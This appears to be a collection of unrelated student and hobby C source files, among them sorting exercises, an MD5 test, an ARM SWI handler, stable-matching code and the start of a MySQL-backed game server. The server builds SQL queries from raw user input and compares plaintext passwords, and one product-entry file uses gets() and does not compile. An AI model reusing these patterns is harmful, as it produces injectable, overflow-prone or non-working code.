void puts(const char* s) {
while(*s != 0) {
putc(*s++);
}
putc('\n');
}
|
C
|
#include <stdio.h>
main()
{
int cnt=0,num;
do
{
printf("\n Enter a number:");
scanf("%d",&num);
printf("\n No.is %d",num);
cnt++;
}while(num!=0);
printf("\n The total number entered were %d",--cnt);
}
|
C
|
/*
* functions.h
*
* Created on: May 7, 2011
* Author: philip
*/
#ifndef FUNCTIONS_H_
#define FUNCTIONS_H_
/**
* \file functions.h
*
* \brief Has some functions
*/
/**
* \brief Convert a 24-bit color to a 16-bit color (5bits red, 6bits green, 5 bits blue).
*
* @param rgb24 The 24-bit color. Only the lowest 3 bytes are used (0x00FFFFFF = white).
*/
short convertRGB24to5R6G5B(int rgb24);
/**
* \brief Calculate the height of the thext.
*
* @param text The text of which you want to calculate the height. In monospace it is the same as the character height.
* @param font The font size.
* @return The height in pixels
*/
int calculateTextHeight(const char* text, char font);
/**
* \brief Calculate the width of the thext.
*
* @param text The text of which you want to calculate the width.
* @param font The font size.
* @return The width in pixels
*/
int calculateTextWidth(const char* text, char font);
/**
* \brief Calculate the width of a character.
*
* @param font The font size.
* @return The width in pixels
*/
int calculateCharacterWidth(char font);
/**
* \brief Calculate the height of a character.
*
* @param font The font size.
* @return The height in pixels
*/
int calculateCharacterHeight(char font);
/**
* \brief Calculate the height of a button.
*
* @param font The font size.
* @return The height in pixels
*/
int calculateButtonHeight(char font);
/**
* \brief Calculate the width of a button.
*
* @param text The text in the button
* @param font The font size.
* @return The width in pixels
*/
int calculateButtonWidth(const char* text, char font);
/**
* \brief Translate row indexes to pixels
*
* If you want to use row-indexes you can use these functions to convert them to pixels, so you can use it with the components as they use pixel offsets.
* Be aware that the row is calculated on the font size. If you use multiple font sizes, you can't use this function to calculate the pixel offset.
* You should use calculateCharacterHeight instead.
*
* @param row The row index you want to translate to pixels
* @param font The font size used
* @return The row-index converted to pixels using the specified font size
*/
int convertRowToPixels(char row, char font);
/**
* \brief Translate column indexes to pixels
*
* If you want to use column-indexes you can use these functions to convert them to pixels, so you can use it with the components as they use pixel offsets.
* Be aware that the column is calculated on the font size. If you use multiple font sizes, you can't use this function to calculate the pixel offset.
* You should use calculateCharacterWidth instead.
*
* @param column The column index you want to translate to pixels
* @param font The font size used
* @return The column-index converted to pixels using the specified font size
*/
int convertColumnToPixels(char column, char font);
/**
* \brief Send the draw text command trough the serial communication.
*
* @param x The x-offset in pixels
* @param y The y-offset in pixels
* @param str The text you want to draw
* @param font The font size
* @param color The color the text has
*/
int serialDrawText(short x, short y, const char* str, char font, int color);
/**
* \brief Send the draw textbutton command trough the serial communication.
*
* @param x The x-offset in pixels
* @param y The y-offset in pixels
* @param str The text you want to draw
* @param font The font size
* @param color The color the text has
* @param rgbBtn The color of the background of the button
* @param state The state of the button (pressed or released)
*/
int serialDrawTextButton(short x, short y, const char* str, char font, int color, int rgbBtn, char state);
/**
* \brief Send the draw circle command trough the serial communication.
*
* @param x The x-offset in pixels of the centre of the circle
* @param y The y-offset in pixels of the centre of the circle
* @param radius The radius of the circle
* @param rgb The color the circle has
*/
int serialDrawCircle(short x, short y, short radius, int rgb);
/**
* \brief Send the draw elipse command trough the serial communication.
*
* @param x The x-offset in pixels of the centre of the ellipse
* @param y The y-offset in pixels of the centre of the ellipse
* @param xRadius The horizontal radius of the ellipse
* @param yRadius The vertical radius of the ellipse
* @param rgb The color the ellipse has
*/
int serialDrawElipse(short x, short y, short xRadius, short yRadius, int rgb);
/**
* \brief Send the draw triangle command trough the serial communication.
*
* @param x1 The x-offset in pixels of the first point of the triangle
* @param y1 The y-offset in pixels of the first point of the triangle
* @param x2 The x-offset in pixels of the second point of the triangle
* @param y2 The y-offset in pixels of the second point of the triangle
* @param x3 The x-offset in pixels of the third point of the triangle
* @param y3 The y-offset in pixels of the third point of the triangle
* @param rgb The color the triangle has
*
* @warning The points should be given in counter-clokwise
*/
int serialDrawTriangle(short x1, short y1, short x2, short y2, short x3, short y3, int rgb);
/**
* \brief Send the draw line command trough the serial communication.
*
* @param x1 The x-offset in pixels of the first point of the line
* @param y1 The y-offset in pixels of the first point of the line
* @param x2 The x-offset in pixels of the second point of the line
* @param y2 The y-offset in pixels of the second point of the line
* @param rgb The color the line has
*/
int serialDrawLine(short x1, short y1, short x2, short y2, int rgb);
/**
* \brief Send the draw rectangle command trough the serial communication.
*
* @param x The x-offset in pixels
* @param y The y-offset in pixels
* @param width The width of the rectangle
* @param height The height of the rectangle
* @param rgb The color the rectangle has
*/
int serialDrawRectangle(short x, short y, short width, short height, int rgb);
#endif /* FUNCTIONS_H_ */
|
C
|
/*
* Description:
* History: damonyang@tencent.com, 2013/02/24, create
*/
# include <stdint.h>
# include <unistd.h>
# include <fcntl.h>
# include <sys/stat.h>
# include <sys/mman.h>
# include "conf.h"
# include "utils.h"
static uint64_t *global_sequence;
void sequence_fini(void)
{
munmap((void *)global_sequence, sizeof(uint64_t));
}
int sequence_init(void)
{
if (global_sequence)
{
sequence_fini();
}
int fd = open(settings.global_sequence_file, O_RDWR | O_CREAT, 0777);
if (fd < 0)
return -__LINE__;
struct stat st;
if (fstat(fd, &st) < 0)
return -__LINE__;
if (st.st_size == 0)
{
uint64_t v = 0;
write_in_full(fd, &v, sizeof(v));
}
void *addr = mmap(NULL, sizeof(uint64_t), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (addr == MAP_FAILED)
return -__LINE__;
close(fd);
global_sequence = (uint64_t *)addr;
return 0;
}
uint64_t sequence_get(void)
{
uint64_t v = ++(*global_sequence);
msync((void *)global_sequence, sizeof(uint64_t), MS_ASYNC);
return v;
}
void sequence_dec(void)
{
if (*global_sequence)
{
--(*global_sequence);
msync((void *)global_sequence, sizeof(uint64_t), MS_ASYNC);
}
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main(){
//Declaration
int n,i, j, tmp, min;
n = 10;
int t[10] = {1, 5, 7, 2, 3, 9, 8, 4, 10, 6};
int stop = 0;
for(i=0;i<n;i++){
printf("%d ", t[i]);
}
printf("\n");
for(i=0;i<n-1;i++){
min = i;
for(j=i+1;j<n;j++){
if(t[j] < t[min]){
min = j;
}
}
if(min != i){
tmp = t[min];
t[min] = t[i];
t[i] = tmp;
}
}
for(i=0;i<n;i++){
printf("%d ", t[i]);
}
printf("\n");
exit(0);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <producto.h>
#include <string.h>
int insertProducto(eProducto,eProducto[]);
int dameLugarLibre(eProducto[]);
int existeProducto(eProducto,eProducto[]);
int borrarProducto(eProducto,eProducto[]);
int editarProducto(eProducto,eProducto[]);
void cargarArray(eProducto elProducto, eProducto listado[])
{
int indice;
indice=dameLugarLibre(listado);
if(indice!=-1)
{
listado[indice]=elProducto;
}
return indice;
int i;
for(i=0; i<tam; i++)
{
//listado[i]=pedirProducto();
mostrarProducto(listado[i]);
}
}
void cargarArray(int tam,eProducto listado[])
{
int i;
for[i=0; i<tam; i++]
{
listado[i]=pedirProducto|);
}
}
eProducto pedirProducto()
{
eProducto productoParaRetornar;
printf("ingrese el codigo de barra:");
fflush(stdin);
gets(productoParaRetornar, nombre);
printf("ingrese nombre:");
fflush(stdin);
gets(productoParaRetornar, nombre);
printf("ingrese fecha de vencimiento:");
fflush(stdin);
gets(productoParaRetornar.fechaDeVencimiento);
printf("ingrese precio:");
fflush(stdin);
gets("%f",&productoParaRetornar.precio);
printf("ingrese proveedor:");
fflush(stdin);
gets(productoParaRetornar.proveedor);
return productoParaRetornar;
}
void mostrarProducto(eProducto elParametroProducto)
{
printf("\n\n\n \t\t<<<< PRODUCTOS>>>> \n");
printf("\nAtributo \t Valor");
printf("\n------------------------");
printf("\nCodigo: \t %s", elParametroProducto.codigoDeBarra);
printf("\nNombre: \t %s", elParametroProducto.nombre);
printf("\nProveedor: \t %s",elParametroProducto.proveedor);
printf("\nfecha venc: \t %s \n\n",elParametroProducto.fechaVencimiento);
}
|
C
|
#pragma once
#if defined(WIN32) || defined(_WIN32) || defined(WIN64) || defined(_WIN64)
#define USE_WINDOWS_API 1
#include <stdint.h>
extern "C" bool __stdcall QueryPerformanceCounter(uint64_t *);
extern "C" bool __stdcall QueryPerformanceFrequency(uint64_t *);
#elif defined(_APPLE_) || defined(__APPLE__) || \
defined(APPLE) || defined(_APPLE) || defined(__APPLE) || \
defined(unix) || defined(__unix__) || defined(__unix)
#define USE_WINDOWS_API 0
#include <unistd.h>
#include <sys/time.h>
#endif
// Get current time (measured in milliseconds).
inline double currentTime()
{
#if USE_WINDOWS_API
uint64_t t, freq;
QueryPerformanceCounter(&t);
QueryPerformanceFrequency(&freq);
return (t * 1000.0) / freq;
#else
struct timeval t;
gettimeofday(&t, NULL);
return (t.tv_usec/1000.0 + t.tv_sec*1000.0);
#endif
}
|
C
|
#include <tap.h>
#include "pizza/md5.h"
#define ALEN(a) (int) ((sizeof(a) / sizeof((a)[0])))
static void test_md5(void) {
static struct {
const char* str;
const char* hash;
} data[] = {
{
"",
"d41d8cd98f00b204e9800998ecf8427e",
},
{
"a",
"0cc175b9c0f1b6a831c399e269772661",
},
{
"abc",
"900150983cd24fb0d6963f7d28e17f72",
},
{
"message digest",
"f96b697d7cb7938d525a2f31aaf161d0",
},
{
"abcdefghijklmnopqrstuvwxyz",
"c3fcd3d76192e4007dfb496cca67e13b",
},
{
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
"d174ab98d277d9f5a5611c2c9f419d9f",
},
{
"12345678901234567890123456789012345678901234567890123456789012345678901234567890",
"57edf4a22be3c955ac49da2e2107b67a",
},
};
MD5 md5;
Buffer b; buffer_build(&b);
for (unsigned int j = 0; j < ALEN(data); ++j) {
Slice str = slice_from_string(data[j].str, 0);
Slice hash = slice_from_string(data[j].hash, 0);
buffer_clear(&b);
md5_compute(&md5, str, &b);
ok(b.len == hash.len, "Got correct MD5 length [%d] == [%d] for [%d:%.*s%s]", b.len, hash.len, str.len, str.len > 50 ? 50 : str.len, str.ptr, str.len > 50 ? "..." : "");
ok(slice_equal(buffer_slice(&b), hash), "Got correct MD5 hash [%.*s] for [%d:%.*s%s]", b.len, b.ptr, str.len, str.len > 50 ? 50 : str.len, str.ptr, str.len > 50 ? "..." : "");
}
buffer_destroy(&b);
}
int main (int argc, char* argv[]) {
(void) argc;
(void) argv;
test_md5();
done_testing();
}
|
C
|
#include<stdio.h>
int main() {
int n, i, y, x, j, maior[3], ins=1, resultado[3];
for(;;) {
scanf("%d", &n);
if(n==0) break;
int jogos[n];
for(i=0; i<n; i++) {
scanf("%d %d", &x, &y);
jogos[i] = x - y;
}
maior[0] = maior[1] = maior[2] = 0;
resultado[0] = resultado[1] = resultado[2] = 0;
for(i=1; i<=n; i++)
for(j=i; j<=n; j++) {
if(j==i) {
resultado[0] = jogos[j-1];
resultado[1] = i;
resultado[2] = j;
}
else {
resultado[0] += jogos[j-1];
resultado[1] = i;
resultado[2] = j;
}
if(resultado[0] > maior[0]) {
maior[0] = resultado[0];
maior[1] = resultado[1];
maior[2] = resultado[2];
}
else if(resultado[0] == maior[0])
if((resultado[2] - resultado[1]) > (maior[2] - maior[1])) {
maior[0] = resultado[0];
maior[1] = resultado[1];
maior[2] = resultado[2];
}
}
if(maior[0] > 0)
printf("Teste %d\n%d %d\n\n", ins, maior[1], maior[2]);
else printf("Teste %d\nnenhum\n\n", ins);
ins++;
}
return 0;
}
|
C
|
#include<stdio.h>
int main()
{
int a,b,c,d,i,j,n,num[200];
scanf("%d",&n);
for(i=0;i<n;i++)
{
scanf("%d",&num[i]);
}
for(i=n-1;i>0;i--)
{
for(j=i-1;j>=0;j--)
{
if(num[j]>num[i])
{
c=(num[j]-num[i]);
num[i]=num[i]+c;
num[j]=num[j]-c;
}
}
}
for(i=0;i<n;i++)
printf("%d ",num[i]);
return 0;
}
|
C
|
/*
* C_SWI_Handler.c: Kernel main (entry) function
* Author: Sudhir Kumar Vijay <svijay@andrew.cmu.edu>
* Sumanth Suresh <sumanths@andrew.cmu.edu>
* Date: 11/2/2014
*/
#include <exports.h>
#include <bits/swi.h>
#include <bits/errno.h>
#include <bits/fileno.h>
#include <arm/time.h>
#include <syscall.h>
#include <config.h>
#include <kernel.h>
#include <sched.h>
#include <lock.h>
#include <arm/reg.h>
#include <arm/psr.h>
#include <arm/exception.h>
#include <arm/physmem.h>
#include <device.h>
#define step_count 10
#define BADCODE 0x0badc0de
void write(unsigned *regs){
regs[0] = write_syscall((int)regs[0], (void *)regs[1], (size_t)regs[2]);
}
void read(unsigned *regs){
regs[0] = read_syscall((int)regs[0], (void *)regs[1], (size_t)regs[2]);
}
void time_swi(unsigned *regs) {
*(unsigned long*) regs = time_syscall();
}
void sleep_swi(unsigned long millis) {
sleep_syscall(millis);
}
/*
------------------------------------------------
Function: C_SWI_Handler
Description:
The SWI handler is called by the S_Handler assembly
code. Blocking interrupts for tasks related to context
switching/premption.
Input arguments:
unsigned swi_num - Extracted SWI number from original
SWI call.
unsigned *regs - Location of saved arguments from
the caller.
------------------------------------------------
*/
void C_SWI_Handler(unsigned swi_num, unsigned *regs){
switch(swi_num){
case READ_SWI:
read(regs);
break;
case WRITE_SWI:
write(regs);
break;
case TIME_SWI:
time_swi(regs);
break;
case SLEEP_SWI:
sleep_swi(*((unsigned long *)regs));
break;
case CREATE_SWI:
disable_interrupts();
regs[0] = task_create((task_t*) regs[0], (size_t)regs[1]);
break;
case EVENT_WAIT:
disable_interrupts();
regs[0] = event_wait((unsigned int) regs[0]);
break;
case MUTEX_CREATE:
disable_interrupts();
regs[0] = mutex_create();
break;
case MUTEX_LOCK:
disable_interrupts();
regs[0] = mutex_lock(*(int*)regs);
break;
case MUTEX_UNLOCK:
disable_interrupts();
regs[0] = mutex_unlock(*(int*)regs);
break;
default:
regs[0] = BADCODE;
invalid_syscall(swi_num);
break;
}
}
|
C
|
/*
============================================================================
Name : FilmNachTitelSuchen.c
Author : Christian R?sch
Created on : Jun 4, 2011
Description : Funktion dient zum Suchen eines Films anhand des Filmtitels
============================================================================
*/
#include "Videotheksystem.h"
void FilmNachTitelSuchen() {
// Benutzer gibt den Suchbegriff ein
SuchBegriff * suchBegriff = GebeSuchBegriffEin();
Status * status = initialisiereStatus();
FILE *filmdatenDatei = DateiOeffnen(filmDatenDateiAdresse());
// Solange das Ende der Filmdatei nicht erreicht wurde, bearbeite..
while (!feof(filmdatenDatei)) {
FilmDatensatz *fds = initialisiereFilmDatensatz();
// Einlesen des naechsten Filmdatensatzes
LeseNaechstenFilmDatensatz(filmdatenDatei, fds);
FilmTitel* titel = fds->filmTitel;
// wenn der eingegeben Suchbegriff in dem Filmtitel enthalten ist, bearbeite...
if (strstr(titel->titel, suchBegriff->begriff) != NULL) {
FilmNummer* nummer = fds->filmNummer;
VerfuegbareMedienAnzahl* anzVerfuegbar = initialisiereVerfuegbareMedienAnzahl();
// Prueft wie viele Medien verliehen wurden
MedienAnzahl* verliehen = VerleihPruefen(nummer);
anzVerfuegbar->medienAnz = fds->medienAnzahl->anz - verliehen->anz;
gebeMedienAnzahlFrei(verliehen);
if (status->wert == 0) {
FilmTabellenKopfAusgeben();
}
FilmTabellenZeileAusgeben(fds, anzVerfuegbar->medienAnz);
gebeVerfuegbareMedienAnzahlFrei(anzVerfuegbar);
// Status setzen, dass Film gefunden wurde
status->wert = 1;
}
gebeFilmDatensatzFrei(fds);
}
DateiSchliessen(filmdatenDatei);
// Wenn der Status nicht gesetzt ist, dann wurde kein Film gefunden
if (status->wert == 0) {
// Fehlermeldung ausgeben, dass Film nicht gefunden wurde
FehlerMeldungAusgeben("Keinen Film gefunden");
}
gebeStatusFrei(status);
gebeSuchBegriffFrei(suchBegriff);
}
|
C
|
#include <stdlib.h>
#include <assert.h>
#include <stdint.h>
#include <limits.h>
#include "algs.h"
// performs all possible PII's for this match, and returns an array of size output_size*n with the resulting permutations
int* pii(problem* p, int* match, int* reverse_match, int* output_size){
int n = p->n;
int* output = malloc(n*sizeof(int));
for (int i = 0; i < n; i++) {
output[i] = match[i];
}
int nm1[n];
*output_size = 0;
// find nm1 pairs
for (int m = 0; m < n; m++) {
int nm1gf = -1;
nm1[m] = -1;
for (int f = 0; f < n;f++){
// check for blocking and male dominance
if(p->male_prefs[m*n+f] < p->male_prefs[m*n+match[m]]
&& p->female_prefs[f*n+m] < p->female_prefs[f*n+reverse_match[f]]
&& (nm1gf == -1 || p->male_prefs[m*n+f] < p->male_prefs[m*n+nm1gf])){
*output_size = 1;
nm1gf = f;
}
}
if (nm1gf != -1) {
//check for female dominance
for (int i = 0; i < m; i++) {
if (nm1[i] == nm1gf
&& p->female_prefs[nm1gf*n+i] < p->female_prefs[nm1gf*n+m]) {
nm1gf = -1;
break;
} else if (nm1[i] == nm1gf) {
nm1[i] = -1;
}
}
}
nm1[m] = nm1gf;
}
// quit if it's stable
if (!*output_size)
return output;
// find nm2g pairs
// nm2g[male id(row)] (row neighbor index, female id(column), column neighbor index)
int nm2g[n][3];
for (int i = 0; i < n; i++){
nm2g[i][0] = -1;
nm2g[i][2] = -1;
}
for (int m = 0; m < n; m++) {
if (nm1[m] != -1) {
int partner = match[m];
int nm1partner = nm1[m];
output[m] = nm1partner;
nm2g[m][0] = reverse_match[nm1partner];
nm2g[reverse_match[nm1partner]][1] = partner;
nm2g[reverse_match[nm1partner]][2] = m;
}
}
for (int m = 0; m < n; m++) {
if (nm1[m] != -1) {
if (nm2g[m][2] == -1) {
int nm2column = match[m];
int nm2row = reverse_match[nm1[m]];
if (nm2g[nm2row][0]!=nm2g[nm2row][2]){
while (nm2g[nm2row][0] != -1) {
nm2row = nm2g[nm2row][0];
}
}
output[nm2row] = nm2column;
}
}
}
return output;
}
int* dummy(problem* p, int* match,__attribute__((unused)) int* reverse_match, int* output_size){
*output_size = 1;
int n = p->n;
int* output = malloc(n*sizeof(int));
for (int i = 0; i < n; i++)
output[i] = match[i];
return output;
}
// performs all possible PII's for this match, and returns an array of size output_size*n with the resulting permutations
int* pii2(problem* p, int* match, int* reverse_match, int* output_size){
int n = p->n;
int* output = malloc(n*sizeof(int));
for (int i = 0; i < n; i++) {
output[i] = match[i];
}
int nm1[n];
*output_size = 0;
// find nm1 pairs
for (int m = 0; m < n; m++) {
int nm1gf = -1;
nm1[m] = -1;
for (int f = 0; f < n;f++){
// check for blocking and male dominance
if( (match[m] == -1 ||p->male_prefs[m*n+f] < p->male_prefs[m*n+match[m]])
&& (reverse_match[f]==-1 || p->female_prefs[f*n+m] < p->female_prefs[f*n+reverse_match[f]])
&& (nm1gf == -1 || p->male_prefs[m*n+f] < p->male_prefs[m*n+nm1gf])){
*output_size = 1;
nm1gf = f;
}
}
if (nm1gf != -1) {
//check for female dominance
for (int i = 0; i < m; i++) {
if (nm1[i] == nm1gf
&& p->female_prefs[nm1gf*n+i] < p->female_prefs[nm1gf*n+m]) {
nm1gf = -1;
break;
} else if (nm1[i] == nm1gf) {
nm1[i] = -1;
}
}
}
nm1[m] = nm1gf;
}
// quit if it's stable
if (!*output_size)
return output;
for (int m = 0; m < n; m++) {
if (nm1[m] != -1) {
int nm1partner = nm1[m];
output[m] = nm1partner;
if (reverse_match[nm1partner] != -1 && nm1[reverse_match[nm1partner]] == -1){
output[reverse_match[nm1partner]] = -1;
}
}
}
return output;
}
int* pii3(problem* p, int* match, int* reverse_match, int* output_size){
int n = p->n;
int* output = malloc(n*sizeof(int));
for (int i = 0; i < n; i++) {
output[i] = match[i];
}
int nm1[n];
*output_size = 0;
// find nm1 pairs
for (int m = 0; m < n; m++) {
int nm1gf = -1;
nm1[m] = -1;
for (int f = 0; f < n;f++){
// check for blocking and male dominance
if( (match[m] == -1 ||p->male_prefs[m*n+f] < p->male_prefs[m*n+match[m]])
&& (reverse_match[f]==-1 || p->female_prefs[f*n+m] < p->female_prefs[f*n+reverse_match[f]])
&& (nm1gf == -1 || p->male_prefs[m*n+f] < p->male_prefs[m*n+nm1gf])){
*output_size = 1;
nm1gf = f;
}
}
if (nm1gf != -1) {
//check for female dominance
for (int i = 0; i < m; i++) {
if (nm1[i] == nm1gf
&& p->female_prefs[nm1gf*n+i] < p->female_prefs[nm1gf*n+m]) {
nm1gf = -1;
break;
} else if (nm1[i] == nm1gf) {
nm1[i] = -1;
}
}
}
nm1[m] = nm1gf;
}
// quit if it's stable
if (!*output_size)
return output;
for (int m = 0; m < n; m++) {
if (nm1[m] != -1) {
int nm1partner = nm1[m];
output[m] = nm1partner;
if (match[m] != -1){
p->male_prefs[m*n+match[m]] = INT_MAX;
p->female_prefs[match[m]*n+m] = INT_MAX;
}
if (reverse_match[nm1partner] != -1 && nm1[reverse_match[nm1partner]] == -1){
output[reverse_match[nm1partner]] = -1;
}
}
}
assert(output!=NULL);
return output;
}
// only singles males act
int* pii4(problem* p, int* match, int* reverse_match, int* output_size){
int n = p->n;
int* output = malloc(n*sizeof(int));
for (int i = 0; i < n; i++) {
output[i] = match[i];
}
int nm1[n];
*output_size = 0;
// find nm1 pairs
for (int m = 0; m < n; m++) {
int nm1gf = -1;
nm1[m] = -1;
for (int f = 0; f < n;f++){
// check for blocking and male dominance
if( (match[m] == -1 )
&& (reverse_match[f]==-1 || (p->female_prefs[f*n+m] < p->female_prefs[f*n+reverse_match[f]]))
&& (nm1gf == -1 || p->male_prefs[m*n+f] < p->male_prefs[m*n+nm1gf])){
*output_size = 1;
nm1gf = f;
}
}
if (nm1gf != -1) {
//check for female dominance
for (int i = 0; i < m; i++) {
if (nm1[i] == nm1gf
&& p->female_prefs[nm1gf*n+i] < p->female_prefs[nm1gf*n+m]) {
nm1gf = -1;
break;
} else if (nm1[i] == nm1gf) {
nm1[i] = -1;
}
}
}
nm1[m] = nm1gf;
}
// quit if it's stable
if (!*output_size)
return output;
for (int m = 0; m < n; m++) {
if (nm1[m] != -1) {
int nm1partner = nm1[m];
output[m] = nm1partner;
if (reverse_match[nm1partner] != -1 && nm1[reverse_match[nm1partner]] == -1){
output[reverse_match[nm1partner]] = -1;
}
}
}
return output;
}
|
C
|
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <mysql.h>
#include <ctype.h>
#include <pthread.h>
#include <string.h>
#define port 50015
#define MAX 100
#define MAX_jugadores 4
//preferencias -std=c99 `mysql_config --cflags --libs`
//ejecucion gcc -o prop prog.c `mysql_config --cflags --libs`
int num_sockets;
int j;
int sockets[MAX];
int id_invitaciones;
//Estructura necesaria para acceso excluyente
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
typedef struct {
char nombre [20];
int Socket;
} Conectado;
typedef struct {
Conectado conectados [MAX];
int num;
} ListaConectados;
typedef struct {
char jugador[20];
int personaje;
int fallo;
}Jugador;
typedef struct {
int partida;
int num_jugadores;
Jugador jugadores [MAX_jugadores];
int fallos;
} Partida;
//esturctura necesaria para poder jugar mas de una partida a la vez
typedef struct {
Jugador jugadores [MAX_jugadores];
int invitaciones;
int aceptadas;
int id;
}Invitacion;
typedef struct {
Invitacion invitaciones [MAX];
int num;
}ListaInvitaciones;
typedef struct {
Partida partida[MAX];
int num;
}ListaPartidas;
ListaConectados listaConectados;
ListaPartidas listaPartidas;
ListaInvitaciones listaInvitaciones;
int PonConectados (ListaConectados *lista, char nombre [20], int Socket)
//funcion para anadir un cliente conectado a la lista
{
if (lista->num == MAX)
return -1; //devuelve -1 si la lista est\uffe1 llena
else
{
strcpy(lista->conectados[lista->num].nombre,nombre);
lista->conectados[lista->num].Socket=Socket;
lista->num++;
return 0;
}
}
void Dameconectados (ListaConectados *lista, char conectados [512])
// pone en conectados todos los nombres separados por , primero pone el numero de conectados
{
strcpy(conectados,"");
//indicamos cuantos usuarios estan conectados
sprintf(conectados,"%d/", lista->num);
for (int i=0; i<lista->num; i++)
{
// aadimos los usuarios conectados uno por uno
sprintf(conectados, "%s%s,", conectados, lista->conectados[i].nombre);
}
if (lista->num==0)
strcpy(conectados,"0");
}
int Damesocket (ListaConectados *lista, char nombre [20])
//Devuelve el socket o -1 si no esta en la lista
{
int i = 0;
int encontrado =0;
while ((i<lista->num)&&(encontrado == 0))
{
if (strcmp(lista->conectados[i].nombre, nombre) == 0)
{
encontrado = 1;
return lista->conectados[i].Socket;
}
i++;
}
if (!encontrado)
return -1;
}
int Dameposicion (ListaConectados *lista, char nombre [20])
//Devuelve el socket o -1 si no esta en la lista
{
int i = 0;
int encontrado =0;
while ((i<lista->num)&&(encontrado == 0))
{
if (strcmp(lista->conectados[i].nombre, nombre) == 0)
{
encontrado = 1;
return i;
}
i++;
}
if (!encontrado)
return -1;
}
int EliminarConectados (ListaConectados *lista, char nombre[20])
//Devuelve 0 si se ha eliminado correctamente, -1 si no esta en la lista
{
int pos = Dameposicion (lista, nombre);
if (pos == -1)
return -1;
else
{
for (int i=pos; i < lista->num-1; i++)
{
strcpy(lista->conectados[i].nombre, lista->conectados[i+1].nombre);
lista->conectados[i].Socket = lista->conectados[i+1].Socket;
}
lista->num --;
return 0;
}
}
void EliminarSocket (int sockets[MAX],int sock_conn)
//Cuando el usuario se desconecta del servidor elimina
// su socket de la lista de sockets
{
int encontrado=0;
for (int i=0; i < num_sockets-1; i++)
{//lista->conectados[i] = lista->conectados[i+1];
if(sockets[i]==sock_conn)
encontrado=1;
if (encontrado==1)
sockets[i]=sockets[i+1];
}
num_sockets --;
printf("Se ha eliminado el socket de la lista\n");
}
void EliminarPartida(ListaPartidas *lista,int id)
//Cuando se acaba una partida se elimina de la lista de partidas
{
int encontrado=0;
for (int i=0;i<lista->num-1;i++)
{
if(lista->partida[i].partida==id)
encontrado=1;
if(encontrado==1)
{
for(int j=0;j<MAX_jugadores;j++)
{
strcpy(lista->partida[i].jugadores[j].jugador,lista->partida[i+1].jugadores[j].jugador);
lista->partida[i].jugadores[j].fallo=lista->partida[i+1].jugadores[j].fallo;
lista->partida[i].jugadores[j].personaje=lista->partida[i+1].jugadores[j].personaje;
}
lista->partida[i].num_jugadores=lista->partida[i+1].num_jugadores;
lista->partida[i].fallos=lista->partida[i+1].fallos;
lista->partida[i].partida=lista->partida[i+1].partida;
}
}
lista->num--;
printf("Se ha eliminado la partida %d de la lista de partidas\n",id);
}
void EliminarInvitacion(ListaInvitaciones *lista,int id)
//Elimina la invtiacion con el id indicado de la lista de invitaciones
{
int encontrado=0;
for (int i=0;i<lista->num-1;i++)
{
if(lista->invitaciones[i].id==id)
encontrado=1;
if(encontrado==1)
{
for(int j=0;j<MAX_jugadores;j++)
{
strcpy(lista->invitaciones[i].jugadores[j].jugador,lista->invitaciones[i+1].jugadores[j].jugador);
}
lista->invitaciones[i].aceptadas=lista->invitaciones[i+1].aceptadas;
lista->invitaciones[i].invitaciones=lista->invitaciones[i+1].invitaciones;
lista->invitaciones[i].id=lista->invitaciones[i+1].id;
}
}
lista->num--;
printf("Se ha eliminado la invitacion %d de la lista de invitaciones\n",id);
}
void IniciarSesion (char nombre [20], char contrasena [20], MYSQL *conn, ListaConectados *lista, char buff2[512], int sock_conn)
// Busca en la base de datos si existe un usuario con el mismo nombre y contrasena
// Si hay un error al hacer la consulta en la base de datos envia el mensaje 1/-1
// Si no encuentra el usuario enva el mensaje 1/0
// Si encuentra el usuario envia el mensaje 1/ID del usuario
{
MYSQL_ROW row;
MYSQL_RES *resultado;
char consulta [200];
sprintf(consulta,"SELECT ID_jugador FROM jugador WHERE nombre='%s' AND contrasea='%s';",nombre,contrasena);
int err=mysql_query(conn,consulta);
if (err!=0)
{
printf("Error al consultar datos de la base %u %s\n",
mysql_errno(conn),mysql_error(conn));
sprintf(buff2,"1/-1");
exit(1);
}
resultado=mysql_store_result(conn);
row=mysql_fetch_row(resultado);
if (row==NULL)
{
printf("No se han obtenido datos en la consulta\n");
sprintf(buff2,"1/0");
}
else
{
sprintf(buff2,"1/%s",row[0]);
pthread_mutex_lock(&mutex);
PonConectados(lista,nombre,sock_conn);
char conectados [512];
Dameconectados (lista, conectados);
pthread_mutex_unlock(&mutex);
char notificacion [512];
sprintf(notificacion,"6/%s",conectados);
for(int j =0; j<lista->num;j++)
{
write(lista->conectados[j].Socket,notificacion,strlen(notificacion));
}
printf("Se ha enviado la nootificacin: %s\n",notificacion);
strcpy(notificacion,"");
}
}
void Registrar (char nombre [20], char contrasena [20], MYSQL_ROW row, MYSQL_RES *resultado, MYSQL *conn, ListaConectados *lista, char buff2[512], int sock_conn, char ID_jugador[10])
// Busca en la base de datos si ya existe un usuario con el mismo nombre y constrasena
// Si hay un error al hacer la consulta en la base de datos envia el mensaje 1/-1
// Si no encuentra el usuario lo crea aadiendolo en la base de datos (se registra)
// Si se registra correctamente envia el mensaje 2/ID que se le ha assignado
// Si encuentra el usuario en a base de datos significa que ya hay alguien que usa ese mismo nombre y contrasea
// envia el mensaje 2/0
{
// construimos la consulta SQL
int err=mysql_query(conn,"SELECT * from jugador");
if (err!=0)
{
printf("Error al consultar datos de la base %u %s\n",
mysql_errno(conn),mysql_error(conn));
exit(1);
}
//recogemos el resultado de la consulta
resultado=mysql_store_result(conn);
//Estructura matricial en memoria
//cada fila contiene los datos de una partida
//obtenemos los datos de una fila
row=mysql_fetch_row(resultado);
int encontrado=0;
if (row==NULL)
printf("No se han obtenido datos en la consulta\n");
else
{
while ((row !=NULL)&&(encontrado==0))
{
//miramos si ya existe un jugador en la base de datos con el mismo nombre y contrasea
if(strcmp(nombre,row[1])==0)
//el jugador ya existe
//envia un 0 al cliente para informar de que este jugador ya existe
{
strcpy(buff2,"2/0");
encontrado=1;
}
row=mysql_fetch_row(resultado); //recorre toda la tabla
}
if (encontrado==0)//&&(strlen(nombre)!=0)&&(strlen(contrasena)!=0))
